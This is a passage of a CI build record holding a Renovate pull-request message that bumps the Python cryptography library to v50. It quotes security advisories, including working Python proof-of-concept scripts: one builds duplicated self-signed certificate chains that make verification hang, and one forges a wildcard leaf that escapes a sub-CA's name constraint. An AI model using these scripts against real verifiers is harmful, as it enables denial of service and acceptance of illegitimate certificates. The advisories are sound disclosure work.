          [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)\n-
          [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n-
          [https://pypi.org/project/cryptography](https://pypi.org/project/cryptography)\n-
          [https://github.com/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3554)
          and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).\n</details>\n\n---\n\n###
          cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle
          through distinguishable errors and timing\n[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)
          / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)
          / PYSEC-2026-3552\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\n\n`pkcs7_decrypt_der`, `pkcs7_decrypt_pem`, and
          `pkcs7_decrypt_smime` reported the\noutcome of decrypting a `RecipientInfo`'s
          `encryptedKey` in several\ndistinguishable ways, one of which disclosed
          the exact length recovered from the\nRSA operation. The same distinction
          was also observable by timing. An\napplication that decrypts attacker-supplied
          `EnvelopedData` and reflects the\noutcome gives the attacker a Bleichenbacher
          oracle against the\ncontent-encryption key.\n\nIntroduced in 44.0.0. Fixed
          in 50.0.0.\n\n##### Details\n\nDecryption ran as: RSA PKCS#1 v1.5 decrypt
          of `encryptedKey` \u2192 build an AES\ncipher from the result \u2192 AES-CBC
          decrypt and PKCS#7 unpad. Each stage failed\ndifferently, with no RFC 3218
          mitigation:\n\n1. invalid RSA padding \u2192 `Decryption failed`\n2. valid
          padding, bad key length \u2192 `Invalid key size (N) for AES.`, disclosing
          `N`\n3. correct length, wrong key \u2192 `Invalid padding bytes.`\n4. the
          real key \u2192 plaintext\n\nCase 1 is reachable only where the linked library
          lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL.
          On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead returns a
          synthetic plaintext of\npseudorandom length, so the error channel does not
          distinguish conforming\nciphertexts.\n\nExploitation requires a service
          that auto-decrypts untrusted `EnvelopedData`\nmatching the victim certificate
          and answers adaptively at high volume, such as\nan S/MIME gateway or mail
          filter.\n\n##### Fix\n\nPer RFC 3218, the content-encryption algorithm is
          now resolved before the\nprivate key is used, so the expected key length
          is known in advance. If the RSA\ndecryption fails or recovers a key of the
          wrong length, a random key of the\nexpected length is substituted and decryption
          continues down an identical path.\nAll failures now report identically and
          perform the same work.\n\n##### Not addressed by this fix\n\n`EnvelopedData`
          does not authenticate its content. Tampering with\n`encryptedContent` alone
          yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries
          per byte, without recovering any key, on every backend. This\nis a property
          of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library,
          and is now documented.\n\n##### Credit\n\nReported by @&#8203;X1AOxiang.\n\n####
          Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)\n-
          [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)\n-
          [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-g6cj-pr64-35w5)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle
          through distinguishable errors and timing\n[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)
          / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)
          / PYSEC-2026-3552\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\n\n`pkcs7_decrypt_der`, `pkcs7_decrypt_pem`, and
          `pkcs7_decrypt_smime` reported the\noutcome of decrypting a `RecipientInfo`'s
          `encryptedKey` in several\ndistinguishable ways, one of which disclosed
          the exact length recovered from the\nRSA operation. The same distinction
          was also observable by timing. An\napplication that decrypts attacker-supplied
          `EnvelopedData` and reflects the\noutcome gives the attacker a Bleichenbacher
          oracle against the\ncontent-encryption key.\n\nIntroduced in 44.0.0. Fixed
          in 50.0.0.\n\n##### Details\n\nDecryption ran as: RSA PKCS#1 v1.5 decrypt
          of `encryptedKey` \u2192 build an AES\ncipher from the result \u2192 AES-CBC
          decrypt and PKCS#7 unpad. Each stage failed\ndifferently, with no RFC 3218
          mitigation:\n\n1. invalid RSA padding \u2192 `Decryption failed`\n2. valid
          padding, bad key length \u2192 `Invalid key size (N) for AES.`, disclosing
          `N`\n3. correct length, wrong key \u2192 `Invalid padding bytes.`\n4. the
          real key \u2192 plaintext\n\nCase 1 is reachable only where the linked library
          lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL.
          On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead returns a
          synthetic plaintext of\npseudorandom length, so the error channel does not
          distinguish conforming\nciphertexts.\n\nExploitation requires a service
          that auto-decrypts untrusted `EnvelopedData`\nmatching the victim certificate
          and answers adaptively at high volume, such as\nan S/MIME gateway or mail
          filter.\n\n##### Fix\n\nPer RFC 3218, the content-encryption algorithm is
          now resolved before the\nprivate key is used, so the expected key length
          is known in advance. If the RSA\ndecryption fails or recovers a key of the
          wrong length, a random key of the\nexpected length is substituted and decryption
          continues down an identical path.\nAll failures now report identically and
          perform the same work.\n\n##### Not addressed by this fix\n\n`EnvelopedData`
          does not authenticate its content. Tampering with\n`encryptedContent` alone
          yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries
          per byte, without recovering any key, on every backend. This\nis a property
          of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library,
          and is now documented.\n\n##### Credit\n\nReported by @&#8203;X1AOxiang.\n\n####
          Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)\n-
          [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)\n-
          [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n-
          [https://pypi.org/project/cryptography](https://pypi.org/project/cryptography)\n-
          [https://github.com/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3552)
          and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>pyca/cryptography (cryptography)</summary>\n\n###
          [`v50.0.0`](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n###
          [`v49.0.0`](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
          defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
          manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
          conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
          Close this PR and you won't be reminded about this update again.\n\n---\n\n
          - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
          box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
          View the [repository job log](https://developer.mend.io/github/osism/container-image-osism-ansible).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4xMS40IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
        change_url: https://github.com/osism/container-image-osism-ansible/pull/767
        commit_id: 016ecb4e731a9b374f93a3841fcc28a4b883e46b
        patchset: 016ecb4e731a9b374f93a3841fcc28a4b883e46b
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/container-image-osism-ansible
          name: osism/container-image-osism-ansible
          short_name: container-image-osism-ansible
        src_dir: src/github.com/osism/container-image-osism-ansible
        topic: null
      buildset: f6dc21af9d074a16b49b3cc41811c4cd
      buildset_refs:
      - branch: main
        change: '767'
        change_message: "chore(deps): update dependency cryptography to v50 [security]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [cryptography](https://redirect.github.com/pyca/cryptography) ([changelog](https://cryptography.io/en/latest/changelog/))
          | `==48.0.1` \u2192 `==50.0.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/cryptography/50.0.0?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/cryptography/48.0.1/50.0.0?slim=true)
          |\n\n---\n\n### python-cryptography: Duplicate self-signed intermediates
          can cause exponential path-building\n[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
          / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)
          / PYSEC-2026-3553\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\nWhen resolving invalid certificate chains that include
          duplicate copies of self-signed certificates, the processing recursively
          invokes the same candidate, leading to an exponential blowup. Although the
          limitation that the chain depth cannot exceed a specified maximum depth
          prevents unbounded recursion and guarantees termination, an attacker-controlled
          certificate chain can lead the processing to easily take more than 5s to
          reject in testing. This amplification could form the basis for a resource
          exhaustion denial of service attack.\n\nThis work was completed by Trail
          of Bits as part of the Patch The Planet project in collaboration with OpenAI.
          The finding was identified primarily by the Codex coding agent, and manually
          reviewed before submission. \n\n##### Details\nThe core issue arises in
          the recursive nature of `build_chain_inner`, which does not de-duplicate
          against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n
          \       &self,\n        working_cert: &VerificationCertificate<'chain, B>,\n
          \       current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n
          \       name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n
          \   ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let
          Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID)
          {\n            name_chain.evaluate_constraints(&nc.value()?, budget)?;\n
          \       }\n\n        // Look in the store's root set to see if the working
          cert is listed.\n        // If it is, we've reached the end.\n        if
          self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n
          \       }\n\n        // Check that our current depth does not exceed our
          policy-configured\n        // max depth. We do this after the root set check,
          since the depth\n        // only measures the intermediate chain's length,
          not the root or leaf.\n        if current_depth > self.policy.max_chain_depth
          {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n
          \               \"chain construction exceeds max depth\".into(),\n            )));\n
          \       }\n\n        // Otherwise, we collect a list of potential issuers
          for this cert,\n        // and continue with the first that verifies.\n
          \       let mut last_err: Option<ValidationError<'_, B>> = None;\n        for
          issuing_cert_candidate in self.potential_issuers(working_cert) {\n            //
          A candidate issuer is said to verify if it both\n            // signs for
          the working certificate and conforms to the\n            // policy.\n            let
          issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n
          \           match self.policy.valid_issuer(\n                issuing_cert_candidate,\n
          \               working_cert,\n                current_depth,\n                &issuer_extensions,\n
          \           ) {\n                Ok(_) => {\n                    match self.build_chain_inner(\n```\n\nA
          sufficient patch is to track valid issuers, and to skip seen ones before
          recursing. By tracking valid issuers only, validation and custom extension-policy
          callbacks still run.\n\n```rust\n          let mut seen_valid_issuers =
          Vec::<&VerificationCertificate<'chain, B>>::new();\n          for issuing_cert_candidate
          in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_)
          => {\n                      if seen_valid_issuers.contains(&issuing_cert_candidate)
          {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n
          \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n
          \                         // NOTE(ww): According to RFC 5280, we should
          only\n```\n\nIn testing, this fix removed the exponential blowup without
          breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464
          -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924
          -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193
          -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,
          \      -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n#####
          PoC\nThe following script benchmarks processing times for malicious cert
          chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport
          cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives
          import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom
          cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification
          import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW
          = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT =
          5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
          \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
          \   key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n
          \   decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n
          \   content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n
          \   key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n
          \   encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n
          \   return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef
          base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n
          \       .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n
          \       .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n
          \       .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef
          make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n
          \   subject = name(common_name)\n    cert = (\n        base_builder(subject,
          subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True,
          path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n
          \           x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n
          \           False,\n        )\n        .sign(private_key, hashes.SHA256())\n
          \   )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n
          \   private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n
          \       base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(),
          100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None),
          True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]),
          False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n
          \           False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]),
          False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n
          \   looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _,
          unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key,
          looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates,
          max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n
          \   verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n
          \       .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n
          \   )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf,
          [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n
          \       result = \"rejected\"\n    queue.put((result, time.perf_counter()
          - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n
          \   process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates,
          max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n
          \   if process.is_alive():\n        process.terminate()\n        process.join()\n
          \       print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n
          \   result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif
          __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n
          \   for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7),
          (6, 6)]:\n        run_case(*case)\n```\n\n##### Impact\nThis issue exposes
          an amplification pathway over data that in many applications may be user-controlled,
          leading to the possibility of a denial of service through resource exhaustion.
          As the correctness of validation is not affected, the integrity of a system
          cannot be compromised through this vector, only its availability.\n\n####
          Severity\n- CVSS Score: 8.7 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)\n-
          [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)\n-
          [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jwv3-5hgf-82ww)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          python-cryptography verifier accepts wildcard DNS names allowing escape
          from permittedSubtrees\n[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
          / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)
          / PYSEC-2026-3554\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\nIf an intermediate constrained CA permits the DNS
          name `foo.example.com`, and the leaf certificate has a wildcard in its DNS
          SAN of `*.example.com`, python-cryptography's verifier accepts which allows
          escaping outside of the permitted names.\n\n##### PoC\n\n```\n\n#!/usr/bin/env
          python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad
          wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n
          \ Leaf SAN:                    dNSName = *.example.com\nExpected: rejection
          (RFC 5280 \xA74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts;
          further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com`
          and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom
          cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom
          cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric
          import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder,
          Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027,
          1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef
          build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n
          \        .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n
          \        .serial_number(x509.random_serial_number())\n         .not_valid_before(now
          - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca,
          path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e,
          c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n##### Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn
          = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot
          = build(rn, rn, rk, rk, True)\n\n##### Sub-CA constrained to foo.example.com\nsk
          = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n
          \   excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc,
          True)])\n\n##### Leaf with SAN *.example.com (over-broad relative to the
          constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf
          = build(ln, sn, lk, sk, False, [(san, False)])\n\n##### Policies\nca_pol
          = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints,
          Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n
          \   x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n
          \   PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol,
          ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n
          \   v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com
          though sub-CA was constrained to foo.example.com\")\nexcept VerificationError
          as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n##### Impact\n\nAcceptance
          of invalid certificate chain.\n\n#### Severity\n- CVSS Score: 6.9 / 10 (Medium)\n-
          Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)\n-
          [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)\n-
          [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m2h6-j472-rp4c)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          python-cryptography: Duplicate self-signed intermediates can cause exponential
          path-building\n[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
          / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)
          / PYSEC-2026-3553\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\nWhen resolving invalid certificate chains that include
          duplicate copies of self-signed certificates, the processing recursively
          invokes the same candidate, leading to an exponential blowup. Although the
          limitation that the chain depth cannot exceed a specified maximum depth
          prevents unbounded recursion and guarantees termination, an attacker-controlled
          certificate chain can lead the processing to easily take more than 5s to
          reject in testing. This amplification could form the basis for a resource
          exhaustion denial of service attack.\n\nThis work was completed by Trail
          of Bits as part of the Patch The Planet project in collaboration with OpenAI.
          The finding was identified primarily by the Codex coding agent, and manually
          reviewed before submission. \n\n##### Details\nThe core issue arises in
          the recursive nature of `build_chain_inner`, which does not de-duplicate
          against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n
          \       &self,\n        working_cert: &VerificationCertificate<'chain, B>,\n
          \       current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n
          \       name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n
          \   ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let
          Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID)
          {\n            name_chain.evaluate_constraints(&nc.value()?, budget)?;\n
          \       }\n\n        // Look in the store's root set to see if the working
          cert is listed.\n        // If it is, we've reached the end.\n        if
          self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n
          \       }\n\n        // Check that our current depth does not exceed our
          policy-configured\n        // max depth. We do this after the root set check,
          since the depth\n        // only measures the intermediate chain's length,
          not the root or leaf.\n        if current_depth > self.policy.max_chain_depth
          {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n
          \               \"chain construction exceeds max depth\".into(),\n            )));\n
          \       }\n\n        // Otherwise, we collect a list of potential issuers
          for this cert,\n        // and continue with the first that verifies.\n
          \       let mut last_err: Option<ValidationError<'_, B>> = None;\n        for
          issuing_cert_candidate in self.potential_issuers(working_cert) {\n            //
          A candidate issuer is said to verify if it both\n            // signs for
          the working certificate and conforms to the\n            // policy.\n            let
          issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n
          \           match self.policy.valid_issuer(\n                issuing_cert_candidate,\n
          \               working_cert,\n                current_depth,\n                &issuer_extensions,\n
          \           ) {\n                Ok(_) => {\n                    match self.build_chain_inner(\n```\n\nA
          sufficient patch is to track valid issuers, and to skip seen ones before
          recursing. By tracking valid issuers only, validation and custom extension-policy
          callbacks still run.\n\n```rust\n          let mut seen_valid_issuers =
          Vec::<&VerificationCertificate<'chain, B>>::new();\n          for issuing_cert_candidate
          in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_)
          => {\n                      if seen_valid_issuers.contains(&issuing_cert_candidate)
          {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n
          \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n
          \                         // NOTE(ww): According to RFC 5280, we should
          only\n```\n\nIn testing, this fix removed the exponential blowup without
          breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464
          -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924
          -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193
          -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,
          \      -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n#####
          PoC\nThe following script benchmarks processing times for malicious cert
          chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport
          cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives
          import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom
          cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification
          import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW
          = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT =
          5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
          \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
          \   key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n
          \   decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n
          \   content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n
